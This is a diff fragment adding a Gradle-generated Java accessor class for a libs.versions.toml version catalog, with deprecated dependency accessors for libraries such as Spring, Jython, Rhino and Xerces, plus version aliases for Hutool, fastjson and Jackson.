+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getSpec() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossWeldLibraryAccessors extends SubDependencyFactory { + private final OrgJbossWeldWeldLibraryAccessors laccForOrgJbossWeldWeldLibraryAccessors = new OrgJbossWeldWeldLibraryAccessors(owner); + + public OrgJbossWeldLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.weld.weld + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossWeldWeldLibraryAccessors getWeld() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossWeldWeldLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossWeldWeldLibraryAccessors extends SubDependencyFactory { + + public OrgJbossWeldWeldLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.jboss.weld:weld-core coordinates and + * with version reference org.jboss.weld.weld.core + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.jboss.weld.weld.core"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJenkinsLibraryAccessors extends SubDependencyFactory { + private final OrgJenkinsCiLibraryAccessors laccForOrgJenkinsCiLibraryAccessors = new OrgJenkinsCiLibraryAccessors(owner); + + public OrgJenkinsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jenkins.ci + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJenkinsCiLibraryAccessors getCi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJenkinsCiLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJenkinsCiLibraryAccessors extends SubDependencyFactory { + private final OrgJenkinsCiMainLibraryAccessors laccForOrgJenkinsCiMainLibraryAccessors = new OrgJenkinsCiMainLibraryAccessors(owner); + + public OrgJenkinsCiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jenkins.ci.main + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJenkinsCiMainLibraryAccessors getMain() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJenkinsCiMainLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJenkinsCiMainLibraryAccessors extends SubDependencyFactory { + + public OrgJenkinsCiMainLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for remoting with org.jenkins-ci.main:remoting coordinates and + * with version reference org.jenkins.ci.main.remoting + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getRemoting() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.jenkins.ci.main.remoting"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgOw2LibraryAccessors extends SubDependencyFactory { + private final OrgOw2AsmLibraryAccessors laccForOrgOw2AsmLibraryAccessors = new OrgOw2AsmLibraryAccessors(owner); + + public OrgOw2LibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.ow2.asm + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgOw2AsmLibraryAccessors getAsm() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgOw2AsmLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgOw2AsmLibraryAccessors extends SubDependencyFactory { + + public OrgOw2AsmLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for asm with org.ow2.asm:asm coordinates and + * with version reference org.ow2.asm.asm + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getAsm() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.ow2.asm.asm"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgPythonLibraryAccessors extends SubDependencyFactory { + private final OrgPythonJythonLibraryAccessors laccForOrgPythonJythonLibraryAccessors = new OrgPythonJythonLibraryAccessors(owner); + + public OrgPythonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.python.jython + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgPythonJythonLibraryAccessors getJython() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgPythonJythonLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgPythonJythonLibraryAccessors extends SubDependencyFactory { + + public OrgPythonJythonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for standalone with org.python:jython-standalone coordinates and + * with version reference org.python.jython.standalone + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getStandalone() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.python.jython.standalone"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgReflectionsLibraryAccessors extends SubDependencyFactory { + + public OrgReflectionsLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for reflections with org.reflections:reflections coordinates and + * with version reference org.reflections.reflections + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getReflections() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.reflections.reflections"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgSpringframeworkLibraryAccessors extends SubDependencyFactory { + private final OrgSpringframeworkSpringLibraryAccessors laccForOrgSpringframeworkSpringLibraryAccessors = new OrgSpringframeworkSpringLibraryAccessors(owner); + + public OrgSpringframeworkLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.springframework.spring + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgSpringframeworkSpringLibraryAccessors getSpring() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgSpringframeworkSpringLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgSpringframeworkSpringLibraryAccessors extends SubDependencyFactory { + private final OrgSpringframeworkSpringContextLibraryAccessors laccForOrgSpringframeworkSpringContextLibraryAccessors = new OrgSpringframeworkSpringContextLibraryAccessors(owner); + + public OrgSpringframeworkSpringLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for aop with org.springframework:spring-aop coordinates and + * with version reference org.springframework.spring.aop + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getAop() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.aop"); + } + + /** + * Dependency provider for beans with org.springframework:spring-beans coordinates and + * with version reference org.springframework.spring.beans + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getBeans() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.beans"); + } + + /** + * Dependency provider for core with org.springframework:spring-core coordinates and + * with version reference org.springframework.spring.core + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.core"); + } + + /** + * Dependency provider for jdbc with org.springframework:spring-jdbc coordinates and + * with version reference org.springframework.spring.jdbc + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getJdbc() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.jdbc"); + } + + /** + * Dependency provider for oxm with org.springframework:spring-oxm coordinates and + * with version reference org.springframework.spring.oxm + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getOxm() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.oxm"); + } + + /** + * Dependency provider for test with org.springframework:spring-test coordinates and + * with version reference org.springframework.spring.test + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getTest() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.test"); + } + + /** + * Dependency provider for tx with org.springframework:spring-tx coordinates and + * with version reference org.springframework.spring.tx + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getTx() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.tx"); + } + + /** + * Dependency provider for web with org.springframework:spring-web coordinates and + * with version reference org.springframework.spring.web + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getWeb() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.web"); + } + + /** + * Dependency provider for webmvc with org.springframework:spring-webmvc coordinates and + * with version reference org.springframework.spring.webmvc + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getWebmvc() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.webmvc"); + } + + /** + * Group of libraries at org.springframework.spring.context + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgSpringframeworkSpringContextLibraryAccessors getContext() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgSpringframeworkSpringContextLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgSpringframeworkSpringContextLibraryAccessors extends SubDependencyFactory { + + public OrgSpringframeworkSpringContextLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for support with org.springframework:spring-context-support coordinates and + * with version reference org.springframework.spring.context.support + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getSupport() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.springframework.spring.context.support"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class RhinoLibraryAccessors extends SubDependencyFactory { + + public RhinoLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for js with rhino:js coordinates and + * with version reference rhino.js + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getJs() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("rhino.js"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class RomeLibraryAccessors extends SubDependencyFactory { + + public RomeLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for rome with rome:rome coordinates and + * with version reference rome.rome + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getRome() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("rome.rome"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class XercesLibraryAccessors extends SubDependencyFactory { + + public XercesLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for xercesimpl with xerces:xercesImpl coordinates and + * with version reference xerces.xercesimpl + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getXercesimpl() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("xerces.xercesimpl"); + } + + } + + public static class VersionAccessors extends VersionFactory { + + private final CnVersionAccessors vaccForCnVersionAccessors = new CnVersionAccessors(providers, config); + private final ComVersionAccessors vaccForComVersionAccessors = new ComVersionAccessors(providers, config); + private final CommonsVersionAccessors vaccForCommonsVersionAccessors = new CommonsVersionAccessors(providers, config); + private final IoVersionAccessors vaccForIoVersionAccessors = new IoVersionAccessors(providers, config); + private final JavaxVersionAccessors vaccForJavaxVersionAccessors = new JavaxVersionAccessors(providers, config); + private final JbossVersionAccessors vaccForJbossVersionAccessors = new JbossVersionAccessors(providers, config); + private final JunitVersionAccessors vaccForJunitVersionAccessors = new JunitVersionAccessors(providers, config); + private final NetVersionAccessors vaccForNetVersionAccessors = new NetVersionAccessors(providers, config); + private final OrgVersionAccessors vaccForOrgVersionAccessors = new OrgVersionAccessors(providers, config); + private final RhinoVersionAccessors vaccForRhinoVersionAccessors = new RhinoVersionAccessors(providers, config); + private final RomeVersionAccessors vaccForRomeVersionAccessors = new RomeVersionAccessors(providers, config); + private final XercesVersionAccessors vaccForXercesVersionAccessors = new XercesVersionAccessors(providers, config); + public VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.cn + */ + public CnVersionAccessors getCn() { + return vaccForCnVersionAccessors; + } + + /** + * Group of versions at versions.com + */ + public ComVersionAccessors getCom() { + return vaccForComVersionAccessors; + } + + /** + * Group of versions at versions.commons + */ + public CommonsVersionAccessors getCommons() { + return vaccForCommonsVersionAccessors; + } + + /** + * Group of versions at versions.io + */ + public IoVersionAccessors getIo() { + return vaccForIoVersionAccessors; + } + + /** + * Group of versions at versions.javax + */ + public JavaxVersionAccessors getJavax() { + return vaccForJavaxVersionAccessors; + } + + /** + * Group of versions at versions.jboss + */ + public JbossVersionAccessors getJboss() { + return vaccForJbossVersionAccessors; + } + + /** + * Group of versions at versions.junit + */ + public JunitVersionAccessors getJunit() { + return vaccForJunitVersionAccessors; + } + + /** + * Group of versions at versions.net + */ + public NetVersionAccessors getNet() { + return vaccForNetVersionAccessors; + } + + /** + * Group of versions at versions.org + */ + public OrgVersionAccessors getOrg() { + return vaccForOrgVersionAccessors; + } + + /** + * Group of versions at versions.rhino + */ + public RhinoVersionAccessors getRhino() { + return vaccForRhinoVersionAccessors; + } + + /** + * Group of versions at versions.rome + */ + public RomeVersionAccessors getRome() { + return vaccForRomeVersionAccessors; + } + + /** + * Group of versions at versions.xerces + */ + public XercesVersionAccessors getXerces() { + return vaccForXercesVersionAccessors; + } + + } + + public static class CnVersionAccessors extends VersionFactory { + + private final CnHutoolVersionAccessors vaccForCnHutoolVersionAccessors = new CnHutoolVersionAccessors(providers, config); + public CnVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.cn.hutool + */ + public CnHutoolVersionAccessors getHutool() { + return vaccForCnHutoolVersionAccessors; + } + + } + + public static class CnHutoolVersionAccessors extends VersionFactory { + + private final CnHutoolHutoolVersionAccessors vaccForCnHutoolHutoolVersionAccessors = new CnHutoolHutoolVersionAccessors(providers, config); + public CnHutoolVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.cn.hutool.hutool + */ + public CnHutoolHutoolVersionAccessors getHutool() { + return vaccForCnHutoolHutoolVersionAccessors; + } + + } + + public static class CnHutoolHutoolVersionAccessors extends VersionFactory { + + public CnHutoolHutoolVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias cn.hutool.hutool.all with value 5.7.7 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getAll() { return getVersion("cn.hutool.hutool.all"); } + + } + + public static class ComVersionAccessors extends VersionFactory { + + private final ComAlibabaVersionAccessors vaccForComAlibabaVersionAccessors = new ComAlibabaVersionAccessors(providers, config); + private final ComBeustVersionAccessors vaccForComBeustVersionAccessors = new ComBeustVersionAccessors(providers, config); + private final ComCauchoVersionAccessors vaccForComCauchoVersionAccessors = new ComCauchoVersionAccessors(providers, config); + private final ComFasterxmlVersionAccessors vaccForComFasterxmlVersionAccessors = new ComFasterxmlVersionAccessors(providers, config); + private final ComIbmVersionAccessors vaccForComIbmVersionAccessors = new ComIbmVersionAccessors(providers, config); + private final ComMchangeVersionAccessors vaccForComMchangeVersionAccessors = new ComMchangeVersionAccessors(providers, config); + private final ComNqzeroVersionAccessors vaccForComNqzeroVersionAccessors = new ComNqzeroVersionAccessors(providers, config); + private final ComOracleVersionAccessors vaccForComOracleVersionAccessors = new ComOracleVersionAccessors(providers, config); + private final ComTeradataVersionAccessors vaccForComTeradataVersionAccessors = new ComTeradataVersionAccessors(providers, config); + private final ComUnboundidVersionAccessors vaccForComUnboundidVersionAccessors = new ComUnboundidVersionAccessors(providers, config); + private final ComVaadinVersionAccessors vaccForComVaadinVersionAccessors = new ComVaadinVersionAccessors(providers, config); + public ComVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.alibaba + */ + public ComAlibabaVersionAccessors getAlibaba() { + return vaccForComAlibabaVersionAccessors; + } + + /** + * Group of versions at versions.com.beust + */ + public ComBeustVersionAccessors getBeust() { + return vaccForComBeustVersionAccessors; + } + + /** + * Group of versions at versions.com.caucho + */ + public ComCauchoVersionAccessors getCaucho() { + return vaccForComCauchoVersionAccessors; + } + + /** + * Group of versions at versions.com.fasterxml + */ + public ComFasterxmlVersionAccessors getFasterxml() { + return vaccForComFasterxmlVersionAccessors; + } + + /** + * Group of versions at versions.com.ibm + */ + public ComIbmVersionAccessors getIbm() { + return vaccForComIbmVersionAccessors; + } + + /** + * Group of versions at versions.com.mchange + */ + public ComMchangeVersionAccessors getMchange() { + return vaccForComMchangeVersionAccessors; + } + + /** + * Group of versions at versions.com.nqzero + */ + public ComNqzeroVersionAccessors getNqzero() { + return vaccForComNqzeroVersionAccessors; + } + + /** + * Group of versions at versions.com.oracle + */ + public ComOracleVersionAccessors getOracle() { + return vaccForComOracleVersionAccessors; + } + + /** + * Group of versions at versions.com.teradata + */ + public ComTeradataVersionAccessors getTeradata() { + return vaccForComTeradataVersionAccessors; + } + + /** + * Group of versions at versions.com.unboundid + */ + public ComUnboundidVersionAccessors getUnboundid() { + return vaccForComUnboundidVersionAccessors; + } + + /** + * Group of versions at versions.com.vaadin + */ + public ComVaadinVersionAccessors getVaadin() { + return vaccForComVaadinVersionAccessors; + } + + } + + public static class ComAlibabaVersionAccessors extends VersionFactory { + + private final ComAlibabaFastjson2VersionAccessors vaccForComAlibabaFastjson2VersionAccessors = new ComAlibabaFastjson2VersionAccessors(providers, config); + public ComAlibabaVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.alibaba.fastjson with value 1.2.83 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getFastjson() { return getVersion("com.alibaba.fastjson"); } + + /** + * Group of versions at versions.com.alibaba.fastjson2 + */ + public ComAlibabaFastjson2VersionAccessors getFastjson2() { + return vaccForComAlibabaFastjson2VersionAccessors; + } + + } + + public static class ComAlibabaFastjson2VersionAccessors extends VersionFactory { + + public ComAlibabaFastjson2VersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.alibaba.fastjson2.fastjson2 with value 2.0.26 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getFastjson2() { return getVersion("com.alibaba.fastjson2.fastjson2"); } + + } + + public static class ComBeustVersionAccessors extends VersionFactory { + + public ComBeustVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.beust.jcommander with value 1.78 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJcommander() { return getVersion("com.beust.jcommander"); } + + } + + public static class ComCauchoVersionAccessors extends VersionFactory { + + public ComCauchoVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.caucho.resin with value 4.0.65 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getResin() { return getVersion("com.caucho.resin"); } + + } + + public static class ComFasterxmlVersionAccessors extends VersionFactory { + + private final ComFasterxmlJacksonVersionAccessors vaccForComFasterxmlJacksonVersionAccessors = new ComFasterxmlJacksonVersionAccessors(providers, config); + public ComFasterxmlVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.fasterxml.jackson + */ + public ComFasterxmlJacksonVersionAccessors getJackson() { + return vaccForComFasterxmlJacksonVersionAccessors; + } + + } + + public static class ComFasterxmlJacksonVersionAccessors extends VersionFactory { + + private final ComFasterxmlJacksonCoreVersionAccessors vaccForComFasterxmlJacksonCoreVersionAccessors = new ComFasterxmlJacksonCoreVersionAccessors(providers, config); + public ComFasterxmlJacksonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.fasterxml.jackson.core + */ + public ComFasterxmlJacksonCoreVersionAccessors getCore() { + return vaccForComFasterxmlJacksonCoreVersionAccessors; + } + + } + + public static class ComFasterxmlJacksonCoreVersionAccessors extends VersionFactory { + + private final ComFasterxmlJacksonCoreJacksonVersionAccessors vaccForComFasterxmlJacksonCoreJacksonVersionAccessors = new ComFasterxmlJacksonCoreJacksonVersionAccessors(providers, config); + public ComFasterxmlJacksonCoreVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.fasterxml.jackson.core.jackson + */ + public ComFasterxmlJacksonCoreJacksonVersionAccessors getJackson() { + return vaccForComFasterxmlJacksonCoreJacksonVersionAccessors; + } + + } + + public static class ComFasterxmlJacksonCoreJacksonVersionAccessors extends VersionFactory { + + public ComFasterxmlJacksonCoreJacksonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.fasterxml.jackson.core.jackson.databind with value 2.11.3 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

